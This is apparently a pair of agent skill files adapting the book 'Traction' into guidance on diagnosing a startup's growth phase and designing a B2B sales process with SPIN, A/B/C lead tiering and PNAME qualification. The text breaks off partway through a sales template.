description: "Guide startup growth strategy by diagnosing which phase the startup is in (Phase I: making something people want, Phase II: marketing something people want, Phase III: scaling) and selecting phase-appropriate traction channels. Use whenever a startup founder, growth marketer, or product leader is deciding how to split time between product and traction, asking whether they have product-market fit, choosing which channels fit their current stage, dealing with rising CAC or saturating channels, wondering if they should pivot, applying the 50% Rule, or escaping the Product Trap ('if we build it they will come'). Activates on phrases like 'product-market fit', 'phase I', 'phase II', 'scaling', 'growth strategy', 'should we pivot', '50% rule', 'product trap', 'traction vs product', 'which channels for our stage', 'moving the needle'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/startup-traction-strategy-by-phase
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [4]
domain: startup-growth
tags: [startup-growth, growth-strategy, startup-phases, product-market-fit, marketing-strategy]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Startup state — metrics, team size, product maturity, current traction activities"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for phase diagnosis and channel strategy documents"
discovery:
goal: "Diagnose the startup's current phase and produce a phase-appropriate traction strategy"
tasks:
- "Diagnose current phase (I/II/III) from observable signals"
- "Audit current time allocation against the 50% Rule"
- "Map phase-appropriate channels and filter out mismatched ones"
- "Apply the moving-the-needle filter to proposed activities"
- "Detect the Product Trap and phase-channel mismatch anti-patterns"
audience:
roles: [startup-founder, growth-marketer, head-of-marketing]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User is unsure which phase their startup is in"
- "User's current channel is producing diminishing returns"
- "User asks whether to pivot"
- "User is spending all time on product and wondering about growth"
prerequisites: []
not_for:
- "User has not yet built a product"
- "User just wants to pick a channel (use bullseye-channel-selection)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# Startup Traction Strategy by Phase
## When to Use
The startup is somewhere on the growth curve and needs a phase-appropriate traction strategy. Use this skill when:
- The founder can't tell if they have product-market fit yet
- Growth has plateaued and the channels that worked before aren't working now
- The founder is spending 90%+ of their time on product
- A pivot is being considered
- The user asks "what should we focus on for growth right now?"
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Current metrics:** users, revenue, growth rate (even rough)
→ Check prompt for: numeric counts, percentages, trends
→ If missing, ask: "What are your current metrics? Rough numbers are fine — users, paying customers, monthly growth."
- **Time allocation:** how the founder/team is currently splitting effort
→ Check prompt for: "spending X% on", "we focus on", "most of our time"
→ If missing, ask: "Roughly how is your week split between product work and getting customers?"
- **Current traction activities:** what's actively being tried
→ Check prompt for: "we do X for growth", channel names
→ If missing, ask: "What are you doing right now to get new customers?"
### Observable Context
- **Product maturity:** MVP, v1, v2+
- **Team size and composition**
- **How customers currently describe the product** (satisfaction signals)
### Default Assumptions
- If user count is under 1,000 and no clear growth rate exists → assume Phase I
- If rough product-market fit signals exist (paying customers, word-of-mouth, retention) → Phase II
- If established business model with consistent growth → Phase III
### Sufficiency Threshold
```
SUFFICIENT: metrics + time allocation + current activities known
PROCEED WITH DEFAULTS: metrics known; assume time is 90/10 product/traction (the common failure mode)
MUST ASK: metrics are completely unknown (can't diagnose phase)
```
## Process
Use TodoWrite:
- [ ] Step 1: Diagnose phase
- [ ] Step 2: Audit time allocation against 50% Rule
- [ ] Step 3: Map phase-appropriate channels
- [ ] Step 4: Apply the moving-the-needle filter
- [ ] Step 5: Produce phase strategy document
### Step 1: Diagnose Phase (I / II / III)
**ACTION:** Classify the startup into one of three phases based on observable signals:
- **Phase I — Making something people want.** No product-market fit yet. Signals: low user count, high churn, constant product revision, customers don't obviously stick. The core job is building a product worth marketing.
- **Phase II — Marketing something people want.** Product-market fit established. Signals: customers stick, grow by word of mouth, revenue or engagement climbs. The core job is building a sustainable customer-acquisition engine.
- **Phase III — Scaling the business.** Business model established, market position significant. Signals: consistent growth rate, unit economics work, the question is how to dominate the market. The core job is scaling proven channels.
Write the diagnosis with one paragraph of evidence to `phase-diagnosis.md`.
**WHY:** Every downstream decision depends on phase. A Phase I startup doing Phase III tactics (mass advertising, PR campaigns, full sales teams) wastes money on channels that can't compound without a sticky product. A Phase III startup doing Phase I tactics (personal outreach, hand-holding each customer) underuses scale. Phase mismatch is the most common strategy error.
**IF** signals are mixed between Phase I and II → default to the earlier phase. The cost of over-investing in traction before fit is higher than the cost of under-investing briefly after fit.
### Step 2: Audit Time Allocation Against the 50% Rule
**ACTION:** Calculate how the founder/team is actually splitting time between product work and traction work. Compare to the 50% Rule: **50% of time on product, 50% on traction — at all times, in parallel, regardless of phase.**
If the split is 90/10 product/traction (the common default), name it explicitly. Quote the Product Trap warning: the #1 reason investors pass on otherwise-good founders is focus on product to the exclusion of everything else.
**WHY:** Most founders wildly over-invest in product. Marc Andreessen: "Almost every failed startup has a product. What failed startups don't have are enough customers." The Product Trap is the belief that "if we build it, they will come." Without explicit time-budget accountability, traction work gets crowded out by product work that always feels more urgent. The 50% Rule is a forcing function, not a guideline.
**IF** the user resists 50/50 because "the product isn't ready" → that's exactly when you need traction experiments, because channel feedback shapes the product.
**IF** the user is 50/50 already → excellent, skip to Step 3.
### Step 3: Map Phase-Appropriate Channels
**ACTION:** Based on the diagnosed phase, list which channels typically work and which typically don't. Use the mapping in [references/phase-channel-fit.md](references/phase-channel-fit.md).
Flag any current channel that's mismatched with the phase. Common mismatches:
- Phase I startup running SEM ads without product-market fit → burning budget on churning users
- Phase II startup still relying only on personal outreach → hitting volume ceiling
- Phase III startup ignoring PR → missing biggest growth lever
**WHY:** Channels have phase fit. "Some traction channels will move the needle early on but fail to work later. Others are hard to get working in Phase I but are major sources of traction in the later phases." Running a Phase I playbook in Phase II means growth stalls. Running a Phase III playbook in Phase I means spending on customers you can't retain. Matching phase to channel is the core of the book's strategy advice.
### Step 4: Apply the Moving-the-Needle Filter
**ACTION:** For each proposed or current traction activity, ask: "Can this plausibly deliver enough new customers to meaningfully advance our traction goal at our current scale?"
Do a back-of-envelope calculation: (target new customers) ÷ (realistic conversion rate, 1-5%) = audience you need to reach. Compare that to the channel's realistic reach. If the math doesn't work, the activity is off the needle.
Phase I needle ≠ Phase III needle:
- In Phase I, a tweet from a respected person or a speech to 300 people *can* move the needle.
- In Phase III, if you have 10,000 visitors/day, a blog post that sends 200 visitors is noise.
**WHY:** Founders waste time on activities that feel productive but can't meaningfully affect growth. The moving-the-needle filter is a math check: does the channel even have the volume to matter? Running a Facebook ad with $100 budget in Phase III is not a test — it's rounding error.
**IF** an activity can't pass the needle filter → cut it. Put the time back into the 50% traction budget.
### Step 5: Produce the Phase Strategy Document
**ACTION:** Write `phase-strategy.md` containing:
1. **Phase diagnosis** with evidence
2. **Current time allocation** vs 50% Rule (and the correction needed)
3. **Phase-appropriate channels** — which to pursue, which to cut
4. **Moving-the-needle audit** — activities cut, activities kept
5. **Next 4 weeks of traction experiments**, sized to the phase
**WHY:** A written strategy is a forcing function for accountability. "We're Phase I and the 50% Rule says we need more unscalable outreach" is easier to hold the team to than a verbal agreement. The document also makes phase transitions legible — in 3 months, re-read it and ask "what phase are we in now?"
## Inputs
- Startup metrics (users, revenue, growth rate)
- Current time allocation (product vs traction)
- Current traction activities
- Traction goal (if user has one)
## Outputs
Three markdown files:
1. **`phase-diagnosis.md`** — Phase (I/II/III) with evidence
2. **`phase-strategy.md`** — Complete strategy with time allocation correction and channel map
3. **`weekly-traction-plan.md`** — Next 4 weeks of phase-appropriate experiments
## Key Principles
- **Phase determines everything.** A channel that's a hit in Phase II can be a disaster in Phase I. WHY: The same tactic at the wrong time is a waste. Speed and volume needs change dramatically across phases — Phase I rewards unscalable tactics, Phase III punishes them.
- **50/50 is non-negotiable.** Not 80/20 in favor of product "because we're early". Not 20/80 "because we need customers fast". Always 50/50. WHY: Product and traction co-evolve. Traction experiments reveal what customers actually want. Product changes shape what traction channels work. Decoupling them is how startups die with "a great product nobody wanted."
- **The Product Trap has a specific detection signal.** If the founder says "the product isn't ready for marketing yet", that's the trap. WHY: The product is never "ready." Marc Andreessen: "The number one reason we pass on entrepreneurs is focusing on product to the exclusion of everything else." Ready for marketing means ready for feedback, not ready for perfection.
- **Re-diagnose phase quarterly.** Phases aren't permanent. What was Phase I six months ago might be Phase II now. WHY: Phase transitions are easy to miss from the inside. The channels that served you in Phase I will saturate as you enter Phase II. If you don't re-diagnose, you'll keep running Phase I tactics and watch growth flatten.
- **Unscalable tactics are a Phase I *strategy*, not a failure mode.** Paul Graham's "do things that don't scale" is phase-specific advice. In Phase I, it's correct. In Phase III, it's a trap. WHY: The same advice applied in the wrong phase produces opposite outcomes. Don't let "unscalable = bad" reflexes push you to premature scaling in Phase I.
## Examples
**Scenario: "We're 3 months in, 200 users, growth has stalled"**
Trigger: "Built a note-taking app for lawyers. 200 users in 3 months, mostly from Twitter. Growth has stalled the last 4 weeks. Only I'm doing marketing; 2 engineers on product."
Process: (1) Diagnose Phase I — low user count, no repeat customer signals, team still iterating product. (2) Time audit: founder estimates 70% product, 30% traction → flag the gap. Apply 50% Rule → founder needs to reclaim 20% of product time for traction. (3) Phase-appropriate channels: unscalable tactics work best here — targeting blogs (legal industry blogs), speaking at small legal conferences, direct outreach to named lawyers. Cut: any paid ads (wrong phase), no SEO (too slow for Phase I). (4) Moving-the-needle filter: founder was about to run $500 Facebook ads — kill that. $500 goes to sponsoring a legal-industry newsletter instead. (5) Produce 4-week plan: 10 cold emails/week to named lawyers, 1 guest post on a legal blog, outreach to 2 legal podcast hosts.
Output: Clear Phase I diagnosis, Product Trap flagged (70/30 instead of 50/50), and a concrete unscalable-first plan.
**Scenario: "Great growth for 18 months, now slowing"**
Trigger: "B2B SaaS, $200k MRR, 30% YoY growth. Content marketing drove most of our growth. Last 3 months growth has flattened to 5%. What's happening?"
Process: (1) Diagnose: likely Phase II → Phase III transition. Product-market fit clearly there. Content marketing is saturating (the Law of Shitty Click-Throughs). (2) Time audit: 50/50 seems maintained — that's good. (3) Phase-appropriate channels: Phase III should leverage channels with bigger volume ceilings. Consider PR (first big feature), paid ads at scale, BD with integration partners. (4) Moving-the-needle filter: a new blog post that sends 500 visitors no longer moves the needle at this scale. (5) Produce plan: kick off PR push (3 pitches to industry media), add SEM for bottom-funnel keywords, negotiate 2 integration partnerships.
Output: Phase II→III transition identified; next-phase channels selected; content remains but isn't the growth engine anymore.
**Scenario: The classic Product Trap**
Trigger: "We've been building for 8 months, launching soon, want to plan a big marketing push for launch day."
Process: (1) Diagnose Phase I — not launched, no customers. (2) Time audit: user says "we haven't done marketing yet because the product isn't ready" → Product Trap diagnosis, quote Andreessen. (3) 50% Rule applied retroactively — what traction experiments should have been running for the last 8 months? At minimum: building an email list, talking to 20 prospective customers weekly, finding 10 blogs where the audience lives. (4) Moving-the-needle: a "big launch day push" without a list or audience is a guaranteed flop. (5) Strategy: delay launch by 4 weeks, spend those weeks building traction groundwork (email list, blog relationships, 20 customer conversations), so launch lands on an audience that already cares.
Output: Product Trap named and corrected; launch plan now has traction preamble; founder understands the rule going forward.
## References
- For the full phase-channel fit mapping, see [references/phase-channel-fit.md](references/phase-channel-fit.md)
- For signs of each phase and transition signals, see [references/phase-signals.md](references/phase-signals.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select specific channels within your phase strategy
- `clawhub install bookforge-traction-channel-testing` — Run cheap tests on the channels you pick
- `clawhub install bookforge-startup-critical-path-planning` — Set quantified traction goals by phase
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/phase-channel-fit.md
# Phase-Channel Fit Map
Which channels typically work in which phase. Use as a starting point — every startup is different, but this captures the patterns from the book.
## Phase I: Making Something People Want
**Goal:** Find product-market fit. Small, highly-engaged customer base.
**Channels that typically work:**
- **Targeting Blogs** — Mid-level niche blogs give Phase I startups an audience without needing scale.
- **Sales (direct/enterprise)** — Personal outreach is expected and necessary. First customers come from relationships.
- **Speaking Engagements** — Small talks in front of the right audience (200 engaged people > 20k unengaged).
- **Community Building** — Seed a community of early believers who become co-creators.
- **Engineering as Marketing** — Free tools that solve one specific problem for one specific audience.
- **Business Development (focused)** — One strategic partnership can define the early story.
**Channels that typically don't work:**
- **SEM at scale** — Paid ads to churning users burn budget.
- **Offline Ads** — No scale to justify cost.
- **Trade Shows (big ones)** — Cost doesn't match the small audience they can actually reach.
## Phase II: Marketing Something People Want
**Goal:** Build a scalable customer-acquisition engine. Growth from repeatable channels.
**Channels that typically work:**
- **Content Marketing** — Compounds over time. Phase II is where the returns kick in.
- **SEO** — If you invested in Phase I, ranks now.
- **SEM** — Unit economics work because product-market fit gives you retention.
- **Email Marketing** — Lifecycle emails convert the audience built in Phase I.
- **Viral Marketing** — Only valuable if baked into the product early.
- **Affiliate Programs** — Need product-market fit so affiliates are willing to promote.
**Channels that may stop working:**
- **Personal outreach** — Hit volume ceiling. Can't scale with 2 founders.
- **Small targeted blogs** — Audience exhausted.
## Phase III: Scaling the Business
**Goal:** Dominate the market. Compound across multiple channels.
**Channels that typically work:**
- **Public Relations (PR)** — Feature stories drive the biggest single-day spikes.
- **Content Marketing (at scale)** — Publication-level content operations.
- **SEM (big budgets)** — Unit economics clear, just buy more.
- **Offline Ads** — TV/radio make sense at this scale.
- **Existing Platforms** — Day-1 presence on new platforms.
- **Trade Shows (major)** — Mass meetups with qualified buyers.
- **Speaking Engagements (marquee)** — Keynotes, not small meetups.
**Channels that typically can't keep up:**
- **Any Phase I unscalable tactic** — The math stops working.
## Source
Chapter 3 ("Traction Thinking") of *Traction* by Gabriel Weinberg and Justin Mares.
FILE:references/phase-signals.md
# Phase Signals and Transition Markers
How to tell which phase a startup is actually in, and when it's transitioning.
## Phase I Signals
- User count < 1,000 (soft threshold, varies by product)
- Product still actively being rewritten based on each user conversation
- Customers churn quickly (retention weak)
- Founder can name every customer
- Growth is bumpy and unpredictable
- "Traction goal" would be something like "first 100 paying customers"
## Phase I → II Transition
- Customers start sticking without prompting
- Word-of-mouth begins ("my friend told me about this")
- Founder stops needing to hand-hold every new customer
- Product stops being rewritten at the fundamental level
- Growth rate becomes more predictable month-over-month
## Phase II Signals
- Product-market fit is clear in retention data
- A channel is producing consistent leads
- Team is hiring to scale marketing/sales functions
- Traction goal is something like "reach break-even revenue" or "100k users"
- The question is "how do we grow the channel" not "do we have a channel"
## Phase II → III Transition
- The channel that worked starts to saturate (rising CAC, diminishing volume)
- Growth rate from the primary channel flattens
- Team has resources to pursue multiple channels in parallel
- Market is now aware of the company
## Phase III Signals
- Established business model with known unit economics
- Multiple channels contributing meaningfully
- Growth rate is more about scaling than discovery
- Traction goal is about market share or dominance
- Strategic concerns (competition, category definition) matter more than tactical channel selection
## Common Misdiagnoses
- **Phase I looking like Phase II:** Founder thinks they have product-market fit because a few customers love the product. Check retention: do customers come back, or were those a one-time spike?
- **Phase II looking like Phase III:** Founder thinks they're scaling because revenue grew, but the channel is actually saturating — they just haven't noticed CAC climbing.
- **Phase III looking like Phase I:** Founder acts like a scrappy startup at $10M ARR, refusing to hire scaled marketing. The unscalable tactics that got them here aren't enough anymore.
## Source
Chapter 3 ("Traction Thinking") of *Traction* by Gabriel Weinberg and Justin Mares.
Design startup sales processes using SPIN Selling, A/B/C lead tiering, PNAME qualification, and sales funnel design. Use whenever a founder or sales lead is...
---
name: startup-sales-process
description: "Design startup sales processes using SPIN Selling, A/B/C lead tiering, PNAME qualification, and sales funnel design. Use whenever a founder or sales lead is building a sales process, prioritizing leads, qualifying prospects, structuring sales calls, designing a sales funnel, dealing with enterprise deals, avoiding the Technology Tourist or False Change Agent traps, or transitioning from founder-led sales to a scaled sales team. Activates on phrases like 'sales process', 'sales funnel', 'SPIN selling', 'lead qualification', 'BANT', 'PNAME', 'enterprise sales', 'B2B sales', 'sales call structure', 'closing deals', 'pipeline management', 'sales methodology'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/startup-sales-process
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [19]
domain: startup-growth
tags: [startup-growth, sales, b2b-sales, sales-funnel, enterprise-sales]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Target customer profile, product details, deal sizes, current sales activity"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for sales process docs and pipeline tracker"
discovery:
goal: "Design a sales process with funnel stages, SPIN conversation structure, and lead prioritization"
tasks:
- "Design the sales funnel stages (generate → qualify → close)"
- "Apply A/B/C lead tiering with time allocation"
- "Structure sales conversations using SPIN (Situation, Problem, Implication, Need-payoff)"
- "Qualify prospects using PNAME (Process, Need, Authority, Money, Estimated timing)"
- "Detect Technology Tourist and False Change Agent traps"
- "Reduce funnel blockage with specific tactics"
audience:
roles: [startup-founder, sales-lead, business-development]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "Founder doing sales for the first time"
- "Startup transitioning from founder sales to team sales"
- "Lead pipeline is mismanaged"
- "Sales calls don't convert"
- "Enterprise deals are getting stuck"
prerequisites:
- skill: bullseye-channel-selection
why: "Sales should be selected via Bullseye based on product/price fit"
not_for:
- "Consumer products that close via self-serve (use content/email instead)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 13
iterations_needed: 0
---
# Startup Sales Process
## When to Use
The startup needs a sales process — either designing one from scratch or fixing one that isn't working. Sales is typically right for:
- Enterprise or high-price products ($10k+ deals)
- Products requiring consultation before purchase
- B2B with specific decision-makers
- Complex/configurable products
Sales is typically wrong for:
- Low-price consumer products
- Self-serve SaaS under $100/month
- Products with instant-use value
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product and price point:** what you sell, for how much
→ Check prompt for: product, pricing, tier
→ If missing, ask: "What does your product do, and what's the price point? Enterprise deals, SMB, mid-market?"
- **Current sales state:** who's doing sales, how many deals, win rate
→ Check prompt for: "I do all sales", "hired 2 reps", numbers
→ If missing, ask: "Who's currently doing sales, and what's the rough pipeline state?"
### Observable Context
- **Target customer profile:** industry, size, title of buyer
- **Existing sales assets:** decks, scripts, CRM
### Default Assumptions
- First-customer phase: founder does sales, 20-30 conversations to find 1 buyer
- A/B/C time allocation: 66-75% on A deals, rest on B, zero on C
- SPIN Selling conversation structure
- Deal size floor: $10k enterprise / $250/month SMB for sales to be economical
### Sufficiency Threshold
```
SUFFICIENT: product + price + current state known
PROCEED WITH DEFAULTS: product + price known, assume founder doing sales
MUST ASK: product/price is unknown
```
## Process
Use TodoWrite:
- [ ] Step 1: Design the funnel stages
- [ ] Step 2: Apply A/B/C lead tiering
- [ ] Step 3: Structure sales calls with SPIN
- [ ] Step 4: Qualify with PNAME
- [ ] Step 5: Detect wrong-first-customer traps
- [ ] Step 6: Reduce funnel blockage
### Step 1: Design the Funnel Stages
**ACTION:** Design a 3-stage funnel:
1. **Generate leads** — via other traction channels (SEO, SEM, content, targeting blogs). Cold email/calling is for first customers only; after that, leads should come from scalable channels.
2. **Qualify leads** — apply A/B/C tiering (Step 2) and PNAME qualification (Step 4) to decide where to spend time.
3. **Close leads** — structured conversations using SPIN (Step 3), with timeline commitment and specific deliverables.
Write the funnel to `sales-funnel.md` with stage definitions, handoff criteria, and time budgets.
**WHY:** Unstructured sales wastes time. Without explicit stages, reps work every lead equally, spending time on deals that will never close. The funnel structure is the basic hygiene that makes everything else possible.
### Step 2: Apply A/B/C Lead Tiering
**ACTION:** Classify every lead into one of three buckets:
- **A deals** — realistic close within 3 months. Receive **66-75% of sales rep time.** High-conviction, urgent buyer, clear budget.
- **B deals** — forecast close 3-12 months. Receive the remaining time. Build pipeline for the future.
- **C deals** — unlikely to close within 12 months. **Zero sales time.** Hand back to marketing for nurture.
Write current pipeline classification to `pipeline-tiers.md`.
**WHY:** Time is the scarcest sales resource. Without explicit tiering, reps spend time on C deals that feel interesting but won't close. The 66-75% / rest / zero allocation is a forcing function that produces more closed deals per unit time. Seller time on C deals is the single biggest source of wasted sales effort.
**IF** most deals are C → return to Bullseye. Sales may not be the right channel, or leads may be unqualified.
### Step 3: Structure Sales Calls with SPIN
**ACTION:** Use Neil Rackham's SPIN framework for structured conversations:
- **S — Situation:** 1-2 questions maximum. Establish buying context ("How's your team structured? What are you currently using?"). Over-using Situation questions signals unpreparedness and reduces close rates.
- **P — Problem:** Identify pain points ("What's frustrating about your current approach?"). Use sparingly — quickly define the problem then move on.
- **I — Implication:** Expand perceived problem magnitude ("How does this affect productivity? How many people are affected? What's the cost of not solving this?"). **This is the most important step** — it builds urgency.
- **N — Need-payoff:** Shift attention to the solution's benefits ("How would solving this help you? Whose work improves?"). Get the buyer to articulate the value themselves.
Based on Rackham's research across 35,000 sales calls.
Write scripts/questions per SPIN stage to `spin-questions.md`.
**WHY:** Most sales calls skip directly from Situation to a product pitch, missing the Problem-Implication-Need cycle that builds urgency. SPIN is the framework that makes the buyer talk themselves into the purchase, rather than the seller pushing them. Rackham's research showed it increased close rates meaningfully across 35,000 calls.
### Step 4: Qualify Prospects with PNAME
**ACTION:** Before investing sales time in any deal, check the 5 PNAME factors:
- **P — Process:** How does this company buy solutions? (Procurement process, approval chain)
- **N — Need:** How badly do they need a solution? Is the pain acute or abstract?
- **A — Authority:** Who has purchase authority? Is the person you're talking to the decision-maker?
- **M — Money:** Do they have budget? What does not solving it cost them?
- **E — Estimated timing:** What are budget and decision timelines?
If any factor is missing, the deal is likely C-tier.
**WHY:** Deals fall through because one of the 5 factors was wrong — no authority, no budget, no urgency. Catching missing factors upfront saves weeks of wasted sales time. PNAME is a specific pre-close checklist that forces clarity.
### Step 5: Detect Wrong-First-Customer Traps
**ACTION:** Two specific traps from Sean Murphy:
**Technology Tourist:** Prospect invites you in but has no interest in buying. They want to learn about the technology for intellectual or professional curiosity. Signal: they ask deep product questions but never discuss implementation or budget. Test question: "Have you brought other technology into your company?" — if the answer is "No, this would be our first," proceed cautiously.
**False Change Agent:** Someone claims to be a change agent who will drive your product through the org. Reality: they have no authority or organizational credibility. Signal: they oversell their influence ("I can make this happen"). Test: "How long have you been here? Have you implemented similar things before?" A 6-month-tenure person cannot be a change agent.
**WHY:** Both traps waste months of sales effort. The prospect looks real — meetings happen, demos happen, emails get returned — but the deal never closes because the underlying conditions don't exist. Naming the traps makes them detectable. Founders who don't know the patterns get burned repeatedly.
### Step 6: Reduce Funnel Blockage
**ACTION:** Common blockages and specific tactics:
- **IT install friction** → offer SaaS/cloud version
- **Risk aversion** → free trials, reference customers, case studies
- **Budget approval** → ROI calculators, business case templates
- **Competitive comparison** → competitive battle cards, comparison sheets
- **Long procurement** → channel partners, reseller agreements
- **Price resistance** → low intro price (<$250/mo SMB, <$10k enterprise floor)
- **Need clarification** → detailed FAQs, demo videos
Write blockage-specific tactics to `funnel-blockage-plan.md`.
**WHY:** Each blockage has a specific fix. Generic "sales training" doesn't solve specific blockages. Identifying which blockage is costing the most deals (by postmortem on lost deals) and applying the specific fix produces measurable improvement.
## Inputs
- Product and price point
- Target customer profile
- Current sales state (pipeline, team, metrics)
## Outputs
Five markdown files:
1. **`sales-funnel.md`** — 3-stage funnel with handoff criteria
2. **`pipeline-tiers.md`** — A/B/C classification of current deals
3. **`spin-questions.md`** — Prepared SPIN questions per call type
4. **`pname-checklist.md`** — PNAME qualification applied to top deals
5. **`funnel-blockage-plan.md`** — Specific blockage tactics
## Key Principles
- **A deals get 66-75% of time. C deals get zero.** WHY: Time is scarce. Misallocating it to C deals is the single biggest sales productivity drain. The explicit percentage is a forcing function.
- **SPIN > traditional pitches.** The buyer must articulate the value themselves. WHY: Buyers rationalize away seller claims; they don't rationalize away their own. SPIN makes the buyer do the persuasion.
- **Implication is the most important SPIN stage.** This is where urgency is built. WHY: Without Implication questions, the problem stays abstract and the deal stays in "interested but not urgent." Implication escalates the perceived cost of inaction.
- **Never skip PNAME on enterprise deals.** All 5 factors must be present. WHY: Deals with missing factors feel real but don't close. Catching the missing factor upfront saves weeks or months.
- **Name the wrong-first-customer traps.** Technology Tourist and False Change Agent are specific, detectable patterns. WHY: Unnamed patterns repeat indefinitely. Named patterns can be matched against and flagged.
- **Founder sales is for first 10-20 customers only.** After that, it's a data-gathering exercise that should hand off to hired reps or channels. WHY: Founder sales doesn't scale and founder time has higher-leverage uses. The handoff point is when you know what works well enough to script it.
## Examples
**Scenario: Founder on first enterprise deal**
Trigger: "Our first enterprise prospect is asking for a 30-minute call. They work at a Fortune 500. I've never done sales. What do I do?"
Process: (1) Run PNAME before the call — Process unknown, Need unclear, Authority unclear, Money unknown, Timing unknown. All 5 need answers. (2) SPIN structure: plan 2 Situation questions, 3 Problem questions, 4 Implication questions, 3 Need-payoff questions. (3) Detect traps: ask "have you brought other technology into your company?" and "how long have you been at the company?" (4) End of call: commit to specific deliverable with specific timeline ("If I ship X in 2 weeks, will you commit to a 30-day pilot?"). Get a yes/no.
Output: Call prep doc with PNAME questions, SPIN question list, trap detection script, and specific close question.
**Scenario: Pipeline is full of C deals**
Trigger: "We have 50 deals in our pipeline but only close 2 per quarter. What's wrong?"
Process: (1) A/B/C classify all 50. Likely result: 5 A, 10 B, 35 C. (2) 35 C deals have been consuming sales time with no payoff. Move them all to "marketing nurture" — zero sales time. (3) Reallocate saved time to the 5 A deals. (4) PNAME each A deal to confirm all 5 factors present; if not, downgrade to B. (5) Apply SPIN to next A-deal calls, especially Implication questions to build urgency.
Output: Pipeline restructuring with dramatic time reallocation to A deals.
**Scenario: Technology Tourist trap**
Trigger: "We've been in discussions with a Fortune 500 for 4 months. They keep asking for detailed demos but never move forward. What do I do?"
Process: (1) Classic Technology Tourist pattern. Test: ask "Have you brought similar technology into your company before?" If no → likely tourist. (2) Also ask: "What's your timeline for making a decision?" If vague → more tourist signals. (3) Apply time budget: this deal is C. Reallocate sales time. Leave the door open with a marketing nurture sequence. (4) Use the conversation as a data source for the product — tourists ask real questions, they just don't buy. (5) Move on.
Output: Tourist identification, graceful disengagement plan, reallocation to real deals.
## References
- For full SPIN question templates and PNAME qualification sheet, see [references/sales-templates.md](references/sales-templates.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select Sales as a channel deliberately
- `clawhub install bookforge-business-development-pipeline` — BD vs Sales distinction
- `clawhub install bookforge-startup-traction-strategy-by-phase` — Sales is Phase I first-customer tactic
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/sales-templates.md
# Sales Templates
SPIN question templates and PNAME qualification sheet from Chapter 18 of *Traction*.
## SPIN Question Templates
### Situation Questions (2 max)
Keep these short. Over-using them signals unpreparedness.
- "How is your [relevant process] currently set up?"
- "What tools are you using today for [category]?"
- "How many people on your team handle [relevant task]?"
### Problem Questions
Use sparingly — goal is to surface the specific pain.
- "What's frustrating about your current approach to [category]?"
- "Where does [current process] break down for you?"
- "What problems are you trying to solve that aren't being addressed today?"
- "Which parts of [relevant area] take more time than they should?"
### Implication Questions (MOST IMPORTANT)
This is where urgency is built. Expand the perceived cost of inaction.
- "How does this problem affect your team's productivity?"
- "How many hours per week does your team lose to [problem]?"
- "What's the downstream impact on [related metric]?"
- "Has this caused any issues with [customers / deadlines / growth]?"
- "If you don't solve this, what happens in 6 months?"
- "What does the status quo cost your company in [money / time / opportunity]?"
### Need-Payoff Questions
Get the buyer to articulate the value themselves.
- "How would solving [problem] help your team?"
- "What would it be worth to recover those [hours / dollars / deals]?"
- "If [outcome] were automated, what would your team focus on instead?"
- "Who else in the company benefits if this problem is solved?"
- "How would this help you hit your [quarterly/annual] goals?"
## PNAME Qualification Sheet
Complete this for every A and B deal.
```markdown
## [Company Name] — PNAME Qualification
### P — Process
- How does this company buy software?
- What's the procurement/approval chain?
- Is there a formal RFP process?
- [ ] Clear [ ] Unclear
### N — Need
- What specific pain are they trying to solve?
- How acute is the pain on a 1-5 scale?
- What happens if they don't solve it?
- [ ] Acute (4-5) [ ] Moderate (3) [ ] Weak (1-2)
### A — Authority
- Is the person I'm talking to the decision-maker?
- If not, who is, and when can I talk to them?
- Are there hidden stakeholders (IT, Security, Finance, Legal)?
- [ ] Direct authority [ ] Has access [ ] Unknown
### M — Money
- Is there budget allocated?
- If not, how does budget get created?
- What does the problem cost them today?
- [ ] Allocated [ ] Available [ ] None yet
### E — Estimated Timing
- When do they need to solve this?
- When does budget unlock?
- What's the decision timeline?
- [ ] This quarter [ ] This year [ ] Next year [ ] Unknown
### Verdict
- Deal tier: [ ] A [ ] B [ ] C
- Missing factors: [list any]
- Next steps: [specific action]
```
## Technology Tourist Detection Script
Use these questions on any prospect who seems interested but won't commit:
1. "Have you brought similar technology into your company before?"
- Yes, recently → likely real buyer
